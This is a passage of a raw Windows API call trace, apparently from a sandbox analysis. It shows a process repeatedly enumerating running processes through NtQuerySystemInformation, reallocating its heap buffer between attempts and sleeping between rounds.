[0134.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0134.343] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0134.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0134.343] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0134.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.343] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0134.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.343] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0134.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.344] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0134.344] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.344] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0134.344] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0134.344] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0134.344] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0134.344] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0134.344] Sleep (dwMilliseconds=0x64) [0134.585] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0134.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0134.586] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0134.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0134.586] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0134.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0134.586] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0134.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.586] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0134.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.586] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0134.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.586] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0134.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.587] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0134.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0134.587] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0134.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0134.587] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0134.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0134.587] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0134.587] Sleep (dwMilliseconds=0x64) [0134.835] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0134.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0134.835] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0134.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0134.836] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0134.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0134.836] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0134.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.836] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0134.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.836] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0134.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.836] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0134.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0134.836] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0134.836] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0134.836] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0134.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0134.837] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0134.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0134.837] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0134.837] Sleep (dwMilliseconds=0x64) [0135.082] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0135.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0135.082] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0135.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0135.082] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0135.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0135.082] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0135.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.082] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0135.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.083] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0135.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.083] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0135.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.083] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0135.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0135.083] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0135.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0135.083] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0135.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0135.083] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0135.084] Sleep (dwMilliseconds=0x64) [0135.458] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0135.458] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0135.458] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0135.458] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0135.458] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0135.458] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0135.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0135.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0135.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0135.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0135.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0135.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0135.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0135.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0135.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0135.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0135.460] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0135.460] Sleep (dwMilliseconds=0x64) [0135.600] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0135.600] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0135.600] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0135.600] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0135.600] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0135.600] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0135.600] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0135.600] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.600] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0135.601] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.601] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0135.601] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.601] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0135.601] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.601] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0135.601] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0135.601] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0135.601] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0135.601] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0135.601] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0135.601] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0135.602] Sleep (dwMilliseconds=0x64) [0135.727] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0135.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0135.728] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0135.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0135.728] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0135.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0135.728] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0135.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.728] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0135.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.728] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0135.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.728] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0135.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.729] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0135.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0135.729] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0135.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0135.729] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0135.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0135.729] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0135.729] Sleep (dwMilliseconds=0x64) [0135.899] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0135.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0135.899] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0135.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0135.899] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0135.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0135.899] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0135.899] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.900] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0135.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.900] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0135.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.900] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x70fc) returned 0x6f64b0 [0135.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0135.900] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x8120) returned 0x79d9d0 [0135.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0135.900] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0x9144) returned 0x79d9d0 [0135.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0xc0000004 [0135.900] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79d9d0, Size=0xa168) returned 0x79d9d0 [0135.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79d9d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x79d9d0, ResultLength=0x0) returned 0x0 [0135.901] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8938 [0135.901] Sleep (dwMilliseconds=0x64) [0136.024] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0136.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0136.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0136.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0136.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0136.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0136.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f64b0 [0136.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x50b4) returned 0x6f64b0 [0136.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0136.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x60d8) returned 0x6f64b0 [0136.025] NtQuerySystemInformation (in: 